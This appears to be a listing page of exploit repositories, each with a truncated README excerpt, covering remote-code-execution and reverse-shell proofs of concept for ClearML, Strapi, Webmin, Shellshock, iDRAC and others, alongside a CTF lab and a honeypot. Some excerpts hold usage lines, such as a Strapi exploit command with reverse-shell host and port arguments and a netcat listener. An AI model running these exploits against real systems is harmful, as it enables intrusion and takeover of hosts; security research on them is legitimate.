CVE-2024-24590

ClearML Exploit This repository contains a proof-of-concept exploit for a deserialization vulnerability in ClearML, allowing for remote command execution. This exploit demonstrates how to upload a malicious pickle artifact to ClearML to gain a reverse shell. Prerequisites Before you begin, ensure...

React2Shell-CTF

🛡️ React2Shell CTF 🚀 Welcome to React2Shell-CTF , a Dockerized environment designed to practice exploiting React2Shell CVE-2025-55182. React2Shell is a critical vulnerability affecting React-based applications. This repository provides a safe, locally deployable Capture The Flag CTF challenge to...

CVE-2019-9978

CVE-2019-9978 – Proof of Concept PoC Functional PoC for vulnerability CVE-2019-9978 , affecting the plugin Social Warfare = 3.5.2, allowing Remote Code Execution RCE in WordPress. 📌 Description This exploit abuses the swpdebug=loadoptions parameter to force the loading of a remote payload, allowi...

CVE-2020-17530-s2-061

CVE-2020-17530-s2-061 s2-061 graphical interface exploit, only for fun and practice Usage python CVE-2020-17530.py Fill in target address Fill in the system command to execute Click Execute PS: The exploit includes a reverse shell function, but I was too lazy to add the corresponding buttons and...

strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 and 19606 Blind Remote Code Execution of Strapi CMS Version 3.0.0-beta.17.7 and earlier to get reverse shell Getting Started Executing program Using python3 python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001...

Elastix-2.2.0-CVE-2012-4869

Elastix 2.2.0 Local File Inclusion Exploit - CVE-2012-4869 Description This script exploits a Local File Inclusion LFI vulnerability in Elastix 2.2.0 , allowing remote code execution RCE by injecting commands via the callmepage.php endpoint. The exploit is based on CVE-2012-4869. Features Bypasse...

bin2shell

bin2shell bin2shell is very small utils for extract shell code from the binary file bash bin2shell.sh additionNum \x45\x6e\x74\x65\x72\x20\x4e\x75\x6d\x62\x65\x72\x20\x31\x20\x3a\x20\x45\x6e\x74\x65\x72\x20\x4e\x75\x6d THANK YOU TOUHID SHAIKH...

CVE-2019-18818_CVE-2019-19609

Exploits for CVE-2019-18818 and CVE-2019-19609 This repository contains a Python script to exploit two vulnerabilities: CVE-2019-18818 and CVE-2019-19609. CVE-2019-18818 This vulnerability allows an attacker to reset the password of an admin user in the Strapi CMS. Usage 1. Modify the target and...

op13-cve-2026-64560

OnePlus 13 OP5D0DL1 CVE-2026-64560 Device-specific adaptation of the CVE-2026-64560 Android proof of concept for the exact OnePlus 13 PJZ110 builds listed below. It provides temporary root access for the current boot through an ADB-shell-only helper. !WARNING This is experimental kernel exploit...

CVE-2026-24061

🚨 CVE-2026-24061 — “TelneTD” Critical Remote Authentication Bypass in GNU Inetutils telnetd The ghost of 2015 just came back to own everything still running telnet. Zero authentication. One environment variable. Instant root shell. ⚠️ Overview CVE-2026-24061 is a critical remote privilege...

Kaseya VSA < 9.5.7 - Arbitrary File Upload to Remote Code Execution

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management RMM 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leadin...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through t...

Apache Spark - Authentication Bypass

In Apache Spark 2.4.5 and earlier, a standalone resource manager's master may be configured to require authentication spark.authenticate via a shared secret. When enabled, however, a specially-crafted RPC to the master can succeed in starting an application's resources on the Spark cluster, even...

CVE-2017-11610

CVE-2017-11610 Unauthenticated Reverse Shell RCE for Supervisor 3.0a1 - 3.3.2 Standalone Python ≥3.6 Unauthenticated RCE exploit for Supervisor 3.0a1 to 3.3.2, rewritten from this Metasploit module. Explanatory post here. Tested with Python 3.7 on this target runing Supervisor 3.3.2 Usage:...

CVE-2019-15107

CVE-2019-15107 https://www.cvedetails.com/cve/CVE-2019-15107/ An issue was discovered in Webmin =1.920. The parameters "old" and "expire" in passwordchange.cgi contain a command injection vulnerability. Usage 1. Start a listener on red box. rlwrap -cAr nc -lvp 1919 2. Run the exploit ./exploit.sh...

CVE-2018-1207-better

Exploit PoC for CVE-2018-1207: Dell iDRAC7/iDRAC8 RCE Reverse Shell This repository contains a Proof of Concept python script to demonstrate a remote code execution exploit present in iDRAC7 and iDRAC8 devices with firmware versions 2.52.52.52 and below. This exploit allows attacks to run code as...

CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 Shellshock Exploitation Script 🎯💻🔍 This Python script exploits the Shellshock vulnerability CVE-2014-6271 to execute commands remotely or establish a reverse shell on a vulnerable target. 🛠️⚠️ ⚠ Disclaimer 🚨❗ This script is intended for educational and authorized...

CVE-2016-3714

CVE-2016-3714 ImageMagick Code Execution CVE-2016-3714 imagickbuilder.py = Simple Payload Builder to Exploit CVE-2016-3714 imagickbypassshell.php = PHP based web shell leveraging the PHP imagick extension wrapper to bypass disabled functions Few Images of things working: Payload Builder: imagick...

Shell-Shock

Shell Shock Authors : [email protected] Maintainers : Department : DevOps Licenses : Overview Shell Shock : Privelege Escalation, Remote Code Execution Family of bugs in the Unix Bash Shell. Allow execution of arbitrary commands. Exploitation Vectors Payloads shellshock user agent =...

kippo

NOTA: Para desarrollos más recientes, consulte el fork de Michel Oosterhof Kippo Kippo es un honeypot SSH de interacción media diseñado para registrar ataques de fuerza bruta y, lo más importante, toda la interacción de shell realizada por el atacante. Kippo está inspirado, pero no basado, en...